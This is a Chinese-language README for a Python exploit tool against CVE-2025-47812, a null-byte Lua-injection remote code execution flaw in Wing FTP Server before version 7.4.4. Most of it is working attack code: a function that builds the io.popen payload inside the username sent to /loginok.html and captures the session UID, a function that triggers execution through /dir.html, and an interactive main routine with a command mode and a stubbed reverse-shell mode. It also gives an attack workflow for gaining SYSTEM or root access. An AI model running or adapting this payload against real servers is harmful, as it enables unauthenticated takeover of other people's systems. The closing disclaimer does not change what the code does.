项目标题与描述
CVE-2025-47812 - Wing FTP Server RCE 漏洞利用工具
本项目是一个针对Wing FTP Server(版本7.4.4之前)中发现的**关键远程代码执行(RCE)**漏洞(CVE-2025-47812)的Python利用工具。该漏洞源于服务器认证逻辑中对用户名参数中空字节(\0)的错误处理,攻击者可通过注入Lua代码实现未经认证的远程命令执行,并在目标系统上以SYSTEM(Windows)或root(Linux/macOS)权限运行代码。
功能特性
- 双模式利用:提供直接命令执行与反向Shell获取两种攻击方式。
- 跨平台兼容:支持攻击运行在Windows、Linux及macOS上的易受攻击Wing FTP Server实例。
- 自动化会话管理:自动从服务器响应中提取UID会话凭证并用于后续请求。
- 自定义载荷:允许用户灵活指定要执行的系统命令,实现高度定制化攻击。
- 详细日志输出:提供清晰的请求/响应信息,便于调试与分析攻击过程。
- 认证旁路:可利用
anonymous等用户名在无需有效凭证的情况下实施攻击。
安装指南
该工具为Python脚本,无需复杂安装。
系统要求:
- Python 3.x
requests库
依赖安装:
# 安装必需的Python库
pip install requests
# 或通过requirements.txt安装(如有)
pip install -r requirements.txt
平台注意事项:
- 该工具本身可在任何安装Python的操作系统上运行。
- 目标必须是运行Wing FTP Server版本<7.4.4的系统。
- 确保攻击机与目标服务器之间存在网络可达性。
使用说明
基础使用示例
运行脚本后,按提示交互操作:
python3 CVE-2025-47812.py
程序将引导您输入:
- 目标URL(如:
http://10.10.10.10:5466) - 用户名(如:
anonymous) - 攻击模式选择(1-执行命令,2-获取反向Shell)
- 具体命令(模式1时输入)
典型攻击流程
- 信息收集:确定目标Wing FTP Server的版本及可访问的管理接口。
- 漏洞探测:尝试使用
anonymous用户名访问登录端点。 - 命令执行:通过注入的Lua代码运行
id、whoami等命令验证漏洞。 - 权限提升:利用获取的系统权限执行进一步操作。
API接口概览
该工具主要与以下Wing FTP Server端点交互:
/loginok.html:POST请求提交恶意用户名载荷,获取UID会话Cookie。/dir.html:携带UID Cookie的GET请求,触发会话文件处理并执行注入的代码。
核心代码
1. UID与恶意Cookie获取函数
此函数构造包含Lua代码注入的用户名参数,向/loginok.html发送POST请求以获取有效的UID会话凭证。
def get_uid_cookie(session, base_url, username, command):
"""
通过Lua代码注入获取Wing FTP Server的UID会话Cookie
参数:
session: requests.Session对象
base_url: 目标服务器基础URL
username: 用于注入的基础用户名
command: 要执行的系统命令
返回:
成功时返回UID字符串,失败返回None
"""
url = f"{base_url}/loginok.html"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Origin": base_url,
"Referer": f"{base_url}/login.html",
# ... 其他请求头省略
}
# 关键注入点:在用户名中插入空字节和Lua代码
encoded_username = quote(username)
payload = (
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")"
"%0dlocal+r+%3d+h%3aread(\"*a\")"
"%0dh%3aclose()%0dprint(r)%0d--&password="
)
print(f"[*] 尝试获取UID... 载荷: {command}")
try:
response = session.post(url, data=payload, headers=headers)
set_cookie = response.headers.get("Set-Cookie", "")
# 从Set-Cookie头中提取UID值
match = re.search(r"UID=([a-f0-9]+)", set_cookie)
if match:
uid = match.group(1)
print(f"[+] UID获取成功: {uid}")
return uid
else:
print("[-] 未找到UID!")
return None
except Exception as e:
print(f"[-] 发生错误: {e}")
return None
2. 漏洞触发与命令执行函数
此函数使用获取的UID向/dir.html发送请求,触发服务器处理包含恶意Lua代码的会话文件,从而实现远程代码执行。
def post_to_dir(session, base_url, uid):
"""
向/dir.html端点发送请求触发RCE
参数:
session: 携带UID Cookie的requests.Session对象
base_url: 目标服务器基础URL
uid: 从get_uid_cookie获取的会话ID
返回:
服务器的响应内容,包含命令执行结果
"""
url = f"{base_url}/dir.html"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
# 设置Cookie头,携带有效的UID会话
"Cookie": f"UID={uid}",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
# ... 其他请求头省略
}
print(f"[*] 发送 /dir.html 请求...")
try:
response = session.get(url, headers=headers)
print(f"[*] HTTP {response.status_code}")
# 输出原始响应,其中包含命令执行结果
print("------ 响应开始 ------")
print(response.text)
print("------ 响应结束 ------")
return response.text
except Exception as e:
print(f"[-] 请求失败: {e}")
return None
3. 漏洞利用流程主逻辑
# 主程序交互逻辑(基于提供的信息重构)
def main():
"""
漏洞利用工具主函数
协调整个攻击流程:目标输入、模式选择、载荷生成与执行
"""
print("=" * 60)
print(" CVE-2025-47812 - Wing FTP Server RCE Exploit")
print("=" * 60)
# 1. 获取目标信息
target_url = input("目标URL (例如: http://localhost:5466): ")
username = input("用户名 (例如: anonymous): ")
# 2. 选择攻击模式
print("1) 执行命令")
print("2) 获取反向Shell")
choice = input("请选择 (1 或 2): ")
# 3. 根据模式执行相应操作
if choice == "1":
# 命令执行模式
command = input("要执行的命令 (默认: whoami): ") or "whoami"
# 创建会话并获取UID
session = requests.Session()
uid = get_uid_cookie(session, target_url, username, command)
if uid:
# 触发漏洞执行命令
post_to_dir(session, target_url, uid)
elif choice == "2":
# 反向Shell模式(需根据实际情况实现)
print("[!] 反向Shell功能需根据目标环境定制实现")
# 此处可扩展实现nc、bash、powershell等反向Shell
else:
print("[-] 无效选择")
免责声明:本工具仅用于教育目的与合法的安全研究。请仅在您拥有明确测试权限的系统上使用。作者不对任何滥用或由此工具造成的损害负责。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPxOjJ5m5ttnEWSXfJFj0OX